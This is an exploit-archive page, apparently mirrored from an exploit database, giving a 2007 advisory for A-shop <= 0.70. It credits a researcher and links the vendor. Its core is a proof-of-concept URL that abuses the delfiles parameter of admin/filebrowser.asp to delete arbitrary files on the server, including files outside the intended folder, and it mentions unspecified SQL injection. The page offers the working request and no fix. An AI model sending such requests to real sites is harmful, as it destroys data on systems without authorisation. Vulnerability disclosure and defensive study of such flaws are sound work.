[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : A-shop <= 0.70 Remote File Deletion Vulnerability
# Published : 2007-07-18
# Author : Timq
# Previous Title : phpBB Module SupaNav 1.0.0 (link_main.php) RFI Vulnerability
# Next Title : Md-Pro <= 1.0.8x (Topics topicid) Remote SQL Injection Vulnerability
A-shop <=0.70 Multiple vulnerabilities
Found Bug: Timq
site:http://private-node.net
email:timq@hushmail.com
Vendor:http://www.rammdev.com/ashop/
PoC:
http://site.com/admin/filebrowser.asp?folder=products&delfiles=[del any file on server]
It is possible to delete not only the files in the folders listed,
but also ouside its directory.
Also possible sql injections in other areas.
# www.Syue.com [2007-07-18]